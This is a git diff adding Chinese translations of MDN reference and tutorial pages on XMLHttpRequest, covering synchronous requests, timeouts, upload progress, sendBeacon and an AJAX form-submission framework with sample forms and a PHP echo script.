第一行实例化一个XMLHttpRequest对象.第二行使用该对象打开一个HTTP请求,并指定使用HTTP GET方法来获取Mozilla.org主页内容,操作模式为同步.

+ +

第三行发送这个请求.参数为null表示GET请求不需要请求实体.

+ +

第四行为请求结束之后,检查请求状态码.如果状态码为200, 表示该请求成功,请求到的页面源文件会输出到控制台上.

+ +

例子: 在 Worker 中使用HTTP 同步请求

+ +

Worker中使用XMLHttpRequest时,同步请求比异步请求更适合.

+ +

example.html (主页):

+ +
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>MDN Example</title>
+<script type="text/javascript">
+  var oMyWorker = new Worker("myTask.js");
+  oMyWorker.onmessage = function(oEvent) {
+    alert("Worker said: " + oEvent.data);
+  };
+
+  oMyWorker.postMessage("Hello");
+</script>
+</head>
+<body></body>
+</html>
+
+ +

myFile.txt ( XMLHttpRequest对象同步请求的文件):

+ +
Hello World!!
+
+ +

myTask.js (包含了Worker代码):

+ +
self.onmessage = function (oEvent) {
+  if (oEvent.data === "Hello") {
+    var oReq = new XMLHttpRequest();
+    oReq.open("GET", "myFile.txt", false);  // 同步请求
+    oReq.send(null);
+    self.postMessage(oReq.responseText);
+  }
+};
+
+ +
注意:由于使用了Worker,所以该请求实际上也是异步的。
+ +

可以使用类似的方法,让脚本在后台与服务器交互,预加载某些内容。查看使用web workers了解更多详情。

+ +

将同步XHR用例调整到Beacon API

+ +

在某些情况下,XMLHttpRequest的同步使用是不可替代的,就像在window.onunloadwindow.onbeforeunload事件期间一样。 您应该考虑使用带有Keepalive标志的fetchAPI。 当keepalivefetch不可用时,可以考虑使用navigator.sendBeacon API可以支持这些用例,通常在提供良好UX的同时。

+ +

以下示例(来自sendBeacon文档)显示了一个理论分析代码,该代码尝试通过在卸载处理程序中使用同步XMLHttpRequest将数据提交给服务器。 这导致页面的卸载被延迟。

+ +
window.addEventListener('unload', logData, false);
+
+function logData() {
+    var client = new XMLHttpRequest();
+    client.open("POST", "/log", false); // third parameter indicates sync xhr. :(
+    client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+    client.send(analyticsData);
+}
+
+
+ +

使用sendBeacon()方法,当用户代理有机会的时候,数据将被异步传输到Web服务器,而不会延迟卸载或影响下一个导航的性能。

+ +

以下示例显示了使用sendBeacon()方法将数据提交给服务器的理论分析代码模式。

+ +
window.addEventListener('unload', logData, false);
+
+function logData() {
+    navigator.sendBeacon("/log", analyticsData);
+}
+
+ +

参见

+ + + +

{{ languages( {"en": "en/DOM/XMLHttpRequest/Synchronous_and_Asynchronous_Requests" } ) }}

diff --git a/files/zh-cn/web/api/xmlhttprequest/timeout/index.html b/files/zh-cn/web/api/xmlhttprequest/timeout/index.html new file mode 100644 index 0000000000..941372fdf5 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/timeout/index.html @@ -0,0 +1,53 @@ +--- +title: XMLHttpRequest.timeout +slug: Web/API/XMLHttpRequest/timeout +tags: + - AJAX + - XMLHttpRequest +translation_of: Web/API/XMLHttpRequest/timeout +--- +
{{APIRef('XMLHttpRequest')}}
+ +

XMLHttpRequest.timeout 是一个无符号长整型数,代表着一个请求在被自动终止前所消耗的毫秒数。默认值为 0,意味着没有超时。超时并不应该用在一个 {{Glossary('document environment')}} 中的同步 XMLHttpRequests  请求中,否则将会抛出一个 InvalidAccessError 类型的错误。当超时发生, timeout 事件将会被触发。{{gecko_minversion_inline("12.0")}}

+ +
+

注意:你不能在拥有的window中,给同步请求使用超时。

+
+ +

在异步请求中使用 timeout

+ +

在IE中,超时属性可能只能在调用 open() 方法之后且在调用 send() 方法之前设置。

+ +

示例

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+xhr.timeout = 2000; // 超时时间,单位是毫秒
+
+xhr.onload = function () {
+  // 请求完成。在此进行处理。
+};
+
+xhr.ontimeout = function (e) {
+  // XMLHttpRequest 超时。在此做某事。
+};
+
+xhr.send(null);
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('XMLHttpRequest', '#the-timeout-attribute')}}{{Spec2('XMLHttpRequest')}}WHATW Gliving standard
diff --git a/files/zh-cn/web/api/xmlhttprequest/timeout_event/index.html b/files/zh-cn/web/api/xmlhttprequest/timeout_event/index.html new file mode 100644 index 0000000000..00d587fced --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/timeout_event/index.html @@ -0,0 +1,128 @@ +--- +title: timeout +slug: Web/API/XMLHttpRequest/timeout_event +tags: + - XHR + - XMLHttpRequest + - events + - timeout +translation_of: Web/API/XMLHttpRequest/timeout_event +--- +
+

当进度由于预定时间到期而终止时,会触发timeout 事件。

+
+ + + + + + + + + + + + + + + + + + + + +
冒泡
可取消
目标对象{{domxref("XMLHttpRequest")}}
接口{{domxref("ProgressEvent")}}
+ +

示例

+ +
var client = new XMLHttpRequest()
+  client.open("GET", "http://www.example.org/example.txt")
+  client.ontimeout = function(e) {
+    console.error("Timeout!!")
+  }
+  client.send()
+ +

继承

+ +

timeout 事件实现了 {{domxref("ProgressEvent")}} 接口,它继承自 {{domxref("Event")}} — 它拥有在这个接口上定义的属性和方法。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest')}}{{Spec2('XMLHttpRequest')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/upload/index.html b/files/zh-cn/web/api/xmlhttprequest/upload/index.html new file mode 100644 index 0000000000..eed9701557 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/upload/index.html @@ -0,0 +1,116 @@ +--- +title: XMLHttpRequest.upload +slug: Web/API/XMLHttpRequest/upload +translation_of: Web/API/XMLHttpRequest/upload +--- +

{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.upload 属性返回一个 {{domxref("XMLHttpRequestUpload")}}对象,用来表示上传的进度。这个对象是不透明的,但是作为一个{{domxref("XMLHttpRequestEventTarget")}},可以通过对其绑定事件来追踪它的进度。

+ +

可以被绑定在upload对象上的事件监听器如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
事件相应属性的信息类型
onloadstart获取开始
onprogress数据传输进行中
onabort获取操作终止
onerror获取失败
onload获取成功
ontimeout获取操作在用户规定的时间内未完成
onloadend获取完成(不论成功与否)
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#the-upload-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/zh-cn/web/api/xmlhttprequest/using_xmlhttprequest/index.html new file mode 100644 index 0000000000..0bc86f91bb --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/using_xmlhttprequest/index.html @@ -0,0 +1,807 @@ +--- +title: 使用 XMLHttpRequest +slug: Web/API/XMLHttpRequest/Using_XMLHttpRequest +tags: + - AJAX + - AJAXfile + - DOM + - HTTP + - JXON + - XHR + - XML + - XMLHttpRequest +translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest +--- +
 {{APIRef("XMLHttpRequest")}}
+ +

在该教程中,我们将使用{{domxref("XMLHttpRequest")}} 来发送 HTTP 请求以实现网站和服务器之间的数据交换。XMLHttpRequest常见和晦涩的使用情况都将包含在例子中。

+ +

发送一个 HTTP 请求,需要创建一个 XMLHttpRequest 对象,打开一个 URL,最后发送请求。当所有这些事务完成后,该对象将会包含一些诸如响应主体或 HTTP status 的有用信息。

+ +
function reqListener () {
+  console.log(this.responseText);
+}
+
+var oReq = new XMLHttpRequest();
+oReq.addEventListener("load", reqListener);
+oReq.open("GET", "http://www.example.org/example.txt");
+oReq.send();
+ +

请求类型

+ +

通过 XMLHttpRequest 生成的请求可以有两种方式来获取数据,异步模式或同步模式。请求的类型是由这个 XMLHttpRequest 对象的 open() 方法的第三个参数async的值决定的。如果该参数的值为 false,则该 XMLHttpRequest请求以同步模式进行,否则该过程将以异步模式完成。这两种类型请求的详细讨论和指南可以在同步和异步请求页找到。

+ +
注意:由于对用户体验的负面影响,从 Gecko 30.0{{geckoRelease("30.0")}}版本开始,在主线程上的同步请求已经被弃用。
+ +
注意:XMLHttpRequest 构造函数并不仅限于 XML 文档。它之所以使用“XML”开头是因为在它诞生之时,原先用于异步数据交换的主要格式便是XML。
+ +

处理响应

+ +

W3C规范定义了 {{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}} 对象的几种类型的响应属性。这些属性告诉客户端关于 XMLHttpRequest 返回状态的重要信息。一些处理非文本返回类型的用例,可能包含下面章节所描述的一些操作和分析。

+ +

分析并操作 responseXML属性

+ +

如果你使用 XMLHttpRequest 来获得一个远程的 XML 文档的内容,{{domxref("XMLHttpRequest.responseXML", "responseXML")}} 属性将会是一个由 XML 文档解析而来的 DOM 对象,这很难被操作和分析。这里有五种主要的分析 XML 文档的方式:

+ +
    +
  1. 使用 XPath 定位到文档的指定部分。
  2. +
  3. 手动 解析和序列化 XML 为字符串或对象。
  4. +
  5. 使用 XMLSerializer 把 DOM 树序列化成字符串或文件。
  6. +
  7. 如果你预先知道 XML 文档的内容,你可以使用 RegExp。如果你用 RegExp 扫描时受到换行符的影响,你也许想要删除所有的换行符。然而,这种方法是"最后手段",因为如果 XML 代码发生轻微变化,该方法将可能失败。
  8. +
+ +
注意: 在 W3C XMLHttpRequest 规范中允许 HTML 通过 XMLHttpRequest.responseXML 属性进行解析。更多详细内容请阅读 HTML in XMLHttpRequest 。本条注意已在英文原文中更新。
+ +
+

注意: XMLHttpRequest 现在可以使用 {{domxref("XMLHttpRequest.responseXML", "responseXML")}} 属性解释 HTML。请阅读 HTML in XMLHttpRequest 这篇文章了解相关用法。

+
+ +

解析和操作包含 HTML 文档的 responseText 属性

+ +

如果使用 XMLHttpRequest 从远端获取一个 HTML 页面,则所有 HTML 标记会以字符串的形式存放在responseText 属性里,这样就使得操作和解析这些标记变得困难。解析这些HTML标记主要有三种方式:

+ +
    +
  1. 使用 XMLHttpRequest.responseXML 属性。
  2. +
  3. 将内容通过 fragment.body.innerHTML 注入到一个 文档片段 中,并遍历 DOM 中的片段。
  4. +
  5. 如果你预先知道 HTML 文档的内容,你可以使用 RegExp 。如果你用 RegExp 扫描时受到换行符的影响,你也许想要删除所有的换行符。 然而,这种方法是"最后手段",因为如果 HTML 代码发生轻微变化,该方法将可能失败。
  6. +
+ +

处理二进制数据

+ +

尽管 {{domxref("XMLHttpRequest")}} 一般用来发送和接收文本数据,但其实也可以发送和接收二进制内容。有许多经过良好测试的方法来强制使用 XMLHttpRequest 发送二进制数据。利用 XMLHttpRequest 对象 {{domxref("XMLHttpRequest.overrideMimeType", "overrideMimeType()")}} 方法是一个解决方案,虽然它并不是一个标准方法。

+ +
var oReq = new XMLHttpRequest();
+oReq.open("GET", url);
+// 以二进制字符串形式检索未处理的数据
+oReq.overrideMimeType("text/plain; charset=x-user-defined");
+/* ... */
+
+ +

然而,自从 {{domxref("XMLHttpRequest.responseType", "responseType")}} 属性目前支持大量附加的内容类型后,已经出现了很多的现代技术,它们使得发送和接收二进制数据变得更加容易。

+ +

例如,考虑以下代码,它使用 "arraybuffer" 的 responseType 来将远程内容获取到一个存储原生二进制数据的 {{jsxref("ArrayBuffer")}} 对象中。

+ +
var oReq = new XMLHttpRequest();
+
+oReq.onload = function(e) {
+  var arraybuffer = oReq.response; // 不是 responseText !
+  /* ... */
+}
+oReq.open("GET", url);
+oReq.responseType = "arraybuffer";
+oReq.send();
+ +

更多示例请参考 发送和接收二进制数据

+ +

监测进度

+ +

XMLHttpRequest 提供了各种在请求被处理期间发生的事件以供监听。这包括定期进度通知、 错误通知,等等。

+ +

支持 DOM 的 progress 事件监测之于 XMLHttpRequest 传输,遵循 Web API 进度事件规范:这些事件实现了 {{domxref("ProgressEvent")}} 接口。

+ +
+
{{event("progress")}}
+
检索的数据量发生了变化。
+
{{event("load")}}
+
传输完成,所有数据保存在 response 中。
+
+ +
var oReq = new XMLHttpRequest();
+
+oReq.addEventListener("progress", updateProgress);
+oReq.addEventListener("load" , transferComplete);
+oReq.addEventListener("error", transferFailed  );
+oReq.addEventListener("abort", transferCanceled);
+
+oReq.open();
+
+// ...
+
+// 服务端到客户端的传输进程(下载)
+function updateProgress (oEvent) {
+  if (oEvent.lengthComputable) {
+    var percentComplete = oEvent.loaded / oEvent.total * 100;
+    // ...
+  } else {
+    // 总大小未知时不能计算进程信息
+  }
+}
+
+function transferComplete(evt) {
+  console.log("The transfer is complete.");
+}
+
+function transferFailed(evt) {
+  console.log("An error occurred while transferring the file.");
+}
+
+function transferCanceled(evt) {
+  console.log("The transfer has been canceled by the user.");
+}
+ +

第 3-6 行为多种事件添加了事件监听,这些事件在使用 XMLHttpRequest 执行数据传输时被发出。

+ +
注意: 你需要在请求调用 open() 之前添加事件监听。否则 progress 事件将不会被触发。
+ +

在上一个例子中,progress 事件被指定由 updateProgress() 函数处理,并接收到传输的总字节数和已经传输的字节数,它们分别在事件对象的 totalloaded 属性里。但是如果 lengthComputable 属性的值是 false,那么意味着总字节数是未知并且 total 的值为零。

+ +

progress 事件同时存在于下载和上传的传输。下载相关事件在 XMLHttpRequest 对象上被触发,就像上面的例子一样。上传相关事件在 XMLHttpRequest.upload 对象上被触发,像下面这样:

+ +
var oReq = new XMLHttpRequest();
+
+oReq.upload.addEventListener("progress", updateProgress);
+oReq.upload.addEventListener("load" , transferComplete);
+oReq.upload.addEventListener("error", transferFailed  );
+oReq.upload.addEventListener("abort", transferCanceled);
+
+oReq.open();
+
+ +
注意:progress 事件在使用 file: 协议的情况下是无效的。
+ +
注意:从 {{Gecko("9.0")}} 开始,进度事件现在可以依托于每一个传入的数据块,包括进度事件被触发前在已经接受了最后一个数据包且连接已经被关闭的情况下接收到的最后一个块。这种情况下,当该数据包的 load 事件发生时 progress 事件会被自动触发。这使你可以只关注 progress 事件就可以可靠的监测进度。
+ +
注意:在 {{Gecko("12.0")}} 中,当 responseType 为 "moz-blob" 时,如果你的 progress 事件被触发,则响应的值是一个包含了接收到的数据的 {{domxref("Blob")}} 。
+ +

使用 loadend 事件可以侦测到所有的三种加载结束条件(abortload,或 error):

+ +
req.addEventListener("loadend", loadEnd);
+
+function loadEnd(e) {
+  console.log("The transfer finished (although we don't know if it succeeded or not).");
+}
+
+ +

需要注意的是,没有方法可以确切的知道 loadend 事件接收到的信息是来自何种条件引起的操作终止;但是你可以在所有传输结束的时候使用这个事件处理。

+ +

提交表单和上传文件

+ +

XMLHttpRequest 的实例有两种方式提交表单:

+ + + +

第二种方式(使用 FormData API)是最简单最快捷的,但是缺点是被收集的数据无法使用 JSON.stringify() 转换为一个 JSON 字符串。
+ 只使用 AJAX 则更为复杂,但也更灵活、更强大。

+ +

仅使用 XMLHttpRequest

+ +

在大多数用例中,提交表单时即便不使用 FormData API 也不会要求其他的 API。唯一的例外情况是,如果你要上传一个或多个文件,你需要额外的 FileReader API。

+ +

提交方法简介

+ +

一个 html {{ HTMLElement("form") }} 可以用以下四种方式发送:

+ + + +

现在,我们提交一个表单,它里面有两个字段,分别被命名为 foobaz。如果你用 POST 方法,那么服务器将会接收到一个字符串类似于下面三种情况之一,其中的区别依赖于你采用何种编码类型:

+ + + +
Content-Type: application/x-www-form-urlencoded
+
+foo=bar&baz=The+first+line.%0D%0AThe+second+line.%0D%0A
+ + + +

相反的,如果你用 GET 方法,像下面这样的字符串将被简单的附加到 URL:

+ +
?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.
+ +

一个小框架

+ +

所有这些事情都是由浏览器在你提交一个 {{ HTMLElement("form") }} 的时候自动完成的。但是如果你想要用 JavaScript 做同样的事情,你不得不告诉解释器所有的事。那么,如何发送表单这件事在使用纯粹的 AJAX 时会复杂到无法在这里解释清楚。基于这个原因,我们提供一个完整的(但仍然教条的)框架,它可以使用所有的四种提交方式,甚至上传文件:

+ +
+
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Sending forms with pure AJAX &ndash; MDN</title>
+<script type="text/javascript">
+
+"use strict";
+
+/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function(sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx < nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
+    }
+    /* send as ArrayBufferView...: */
+    this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}
+
+/*\
+|*|
+|*|  :: AJAX Form Submit Framework ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  https://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntax:
+|*|
+|*|   AJAXSubmit(HTMLFormElement);
+\*/
+
+var AJAXSubmit = (function () {
+
+  function ajaxSuccess () {
+    /* console.log("AJAXSubmit - Success!"); */
+    console.log(this.responseText);
+    /* you can get the serialized data through the "submittedData" custom property: */
+    /* console.log(JSON.stringify(this.submittedData)); */
+  }
+
+  function submitData (oData) {
+    /* the AJAX request... */
+    var oAjaxReq = new XMLHttpRequest();
+    oAjaxReq.submittedData = oData;
+    oAjaxReq.onload = ajaxSuccess;
+    if (oData.technique === 0) {
+      /* method is GET */
+      oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/,
+          oData.segments.length > 0 ? "?" + oData.segments.join("&") : ""), true);
+      oAjaxReq.send(null);
+    } else {
+      /* method is POST */
+      oAjaxReq.open("post", oData.receiver, true);
+      if (oData.technique === 3) {
+        /* enctype is multipart/form-data */
+        var sBoundary = "---------------------------" + Date.now().toString(16);
+        oAjaxReq.setRequestHeader("Content-Type", "multipart\/form-data; boundary=" + sBoundary);
+        oAjaxReq.sendAsBinary("--" + sBoundary + "\r\n" +
+            oData.segments.join("--" + sBoundary + "\r\n") + "--" + sBoundary + "--\r\n");
+      } else {
+        /* enctype is application/x-www-form-urlencoded or text/plain */
+        oAjaxReq.setRequestHeader("Content-Type", oData.contentType);
+        oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&"));
+      }
+    }
+  }
+
+  function processStatus (oData) {
+    if (oData.status > 0) { return; }
+    /* the form is now totally serialized! do something before sending it to the server... */
+    /* doSomething(oData); */
+    /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */
+    submitData (oData);
+  }
+
+  function pushSegment (oFREvt) {
+    this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n";
+    this.owner.status--;
+    processStatus(this.owner);
+  }
+
+  function plainEscape (sText) {
+    /* How should I treat a text/plain form encoding?
+       What characters are not allowed? this is what I suppose...: */
+    /* "4\3\7 - Einstein said E=mc2" ----> "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */
+    return sText.replace(/[\s\=\\]/g, "\\$&");
+  }
+
+  function SubmitRequest (oTarget) {
+    var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post";
+    /* console.log("AJAXSubmit - Serializing form..."); */
+    this.contentType = bIsPost && oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded";
+    this.technique = bIsPost ?
+        this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0;
+    this.receiver = oTarget.action;
+    this.status = 0;
+    this.segments = [];
+    var fFilter = this.technique === 2 ? plainEscape : escape;
+    for (var nItem = 0; nItem < oTarget.elements.length; nItem++) {
+      oField = oTarget.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE" && oField.files.length > 0) {
+        if (this.technique === 3) {
+          /* enctype is multipart/form-data */
+          for (nFile = 0; nFile < oField.files.length; nFile++) {
+            oFile = oField.files[nFile];
+            oSegmReq = new FileReader();
+            /* (custom properties:) */
+            oSegmReq.segmentIdx = this.segments.length;
+            oSegmReq.owner = this;
+            /* (end of custom properties) */
+            oSegmReq.onload = pushSegment;
+            this.segments.push("Content-Disposition: form-data; name=\"" +
+                oField.name + "\"; filename=\"" + oFile.name +
+                "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n");
+            this.status++;
+            oSegmReq.readAsBinaryString(oFile);
+          }
+        } else {
+          /* enctype is application/x-www-form-urlencoded or text/plain or
+             method is GET: files will not be sent! */
+          for (nFile = 0; nFile < oField.files.length;
+              this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name)));
+        }
+      } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) {
+        /* NOTE: this will submit _all_ submit buttons. Detecting the correct one is non-trivial. */
+        /* field type is not FILE or is FILE but is empty */
+        this.segments.push(
+          this.technique === 3 ? /* enctype is multipart/form-data */
+            "Content-Disposition: form-data; name=\"" + oField.name + "\"\r\n\r\n" + oField.value + "\r\n"
+          : /* enctype is application/x-www-form-urlencoded or text/plain or method is GET */
+            fFilter(oField.name) + "=" + fFilter(oField.value)
+        );
+      }
+    }
+    processStatus(this);
+  }
+
+  return function (oFormElement) {
+    if (!oFormElement.action) { return; }
+    new SubmitRequest(oFormElement);
+  };
+
+})();
+
+</script>
+</head>
+<body>
+
+<h1>Sending forms with pure AJAX</h1>
+
+<h2>Using the GET method</h2>
+
+<form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h2>Using the POST method</h2>
+<h3>Enctype: application/x-www-form-urlencoded (default)</h3>
+
+<form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h3>Enctype: text/plain</h3>
+
+<form action="register.php" method="post" enctype="text/plain"
+    onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      Your name: <input type="text" name="user" />
+    </p>
+    <p>
+      Your message:<br />
+      <textarea name="message" cols="40" rows="8"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h3>Enctype: multipart/form-data</h3>
+
+<form action="register.php" method="post" enctype="multipart/form-data"
+    onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Upload example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" /><br />
+      Sex:
+      <input id="sex_male" type="radio" name="sex" value="male" />
+      <label for="sex_male">Male</label>
+      <input id="sex_female" type="radio" name="sex" value="female" />
+      <label for="sex_female">Female</label><br />
+      Password: <input type="password" name="secret" /><br />
+      What do you prefer:
+      <select name="image_type">
+        <option>Books</option>
+        <option>Cinema</option>
+        <option>TV</option>
+      </select>
+    </p>
+    <p>
+      Post your photos:
+      <input type="file" multiple name="photos[]">
+    </p>
+    <p>
+      <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" />
+      <label for="vehicle_bike">I have a bike</label><br />
+      <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" />
+      <label for="vehicle_car">I have a car</label>
+    </p>
+    <p>
+      Describe yourself:<br />
+      <textarea name="description" cols="50" rows="8"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+</body>
+</html>
+
+ +

要测试它的话,创建一个名为 register.php 的页面(作为示例表单的 action 属性)并且只输入以下内容:

+ +
<?php
+/* register.php */
+
+header("Content-type: text/plain");
+
+/*
+NOTE: You should never use `print_r()` in production scripts, or
+otherwise output client-submitted data without sanitizing it first.
+Failing to sanitize can lead to cross-site scripting vulnerabilities.
+*/
+
+echo ":: data received via GET ::\n\n";
+print_r($_GET);
+
+echo "\n\n:: Data received via POST ::\n\n";
+print_r($_POST);
+
+echo "\n\n:: Data received as \"raw\" (text/plain encoding) ::\n\n";
+if (isset($HTTP_RAW_POST_DATA)) { echo $HTTP_RAW_POST_DATA; }
+
+echo "\n\n:: Files received ::\n\n";
+print_r($_FILES);
+ +

激活这些代码的语法很简单:

+ +
AJAXSubmit(myForm);
+ +
注意: 该框架使用 {{domxref("FileReader")}} API 进行文件的上传。这是一个较新的 API 并且还未在 IE9 及以下版本的浏览器中实现。因此,使用 AJAX 上传仍是一项实验性的技术。如果你不需要上传 二进制文件,该框架在大多数浏览器中运行良好。
+ +
注意: 发送二进制内容的最佳途径是通过 {{jsxref("ArrayBuffer", "ArrayBuffers")}} 或 {{domxref("Blob", "Blobs")}} 结合 {{domxref("XMLHttpRequest.send()", "send()")}} 方法甚至 FileReader API 的 {{domxref("FileReader.readAsArrayBuffer()", "readAsArrayBuffer()")}} 方法。但是,自从该脚本的目的变成处理 可字符串化 的原始数据以来,我们使用 {{domxref("XMLHttpRequest.sendAsBinary()", "sendAsBinary()")}} 方法结合 FileReader API 的 {{domxref("FileReader.readAsBinaryString()", "readAsBinaryString()")}} 方法。同样地,上述脚本仅当你处理小文件时行之有效。如果不打算上传二进制内容,就考虑使用 FormData API 来替代。
+ +
注意: 非标准的 sendAsBinary 方法从 Gecko 31 {{geckoRelease(31)}} 开始将会废弃并且会很快被移除。标准方法 send(Blob data) 将会取而代之。
+ +

使用 FormData 对象

+ +

{{domxref("XMLHttpRequest.FormData", "FormData")}} 构造函数能使你编译一个键/值对的集合,然后使用 XMLHttpRequest 发送出去。其主要用于发送表格数据,但是也能被单独用来传输表格中用户指定的数据。传输的数据格式与表格使用 submit() 方法发送数据的格式一致,如果该表格的编码类型被设为 "multipart/form-data". FormData 对象可以被结合 XMLHttpRequest 的多种方法利用。例如,想了解如何利用 FormData 与 XMLHttpRequests, 请转到 Using FormData Objects 页面。为了说教的目的,这里有一个早期的例子,被转译成了使用 FormData API 的形式。注意以下代码片段:

+ +
+
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" charset="UTF-8" />
+<title>Sending forms with FormData &ndash; MDN</title>
+<script>
+"use strict";
+
+function ajaxSuccess () {
+  console.log(this.responseText);
+}
+
+function AJAXSubmit (oFormElement) {
+  if (!oFormElement.action) { return; }
+  var oReq = new XMLHttpRequest();
+  oReq.onload = ajaxSuccess();
+  if (oFormElement.method.toLowerCase() === "post") {
+    oReq.open("post", oFormElement.action);
+    oReq.send(new FormData(oFormElement));
+  } else {
+    var oField, sFieldType, nFile, sSearch = "";
+    for (var nItem = 0; nItem < oFormElement.elements.length; nItem++) {
+      oField = oFormElement.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ?
+          oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE") {
+        for (nFile = 0; nFile < oField.files.length;
+            sSearch += "&" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+      } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) {
+        sSearch += "&" + escape(oField.name) + "=" + escape(oField.value);
+      }
+    }
+    oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&/, "?")), true);
+    oReq.send(null);
+  }
+}
+</script>
+</head>
+<body>
+
+<h1>Sending forms with FormData</h1>
+
+<h2>Using the GET method</h2>
+
+<form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
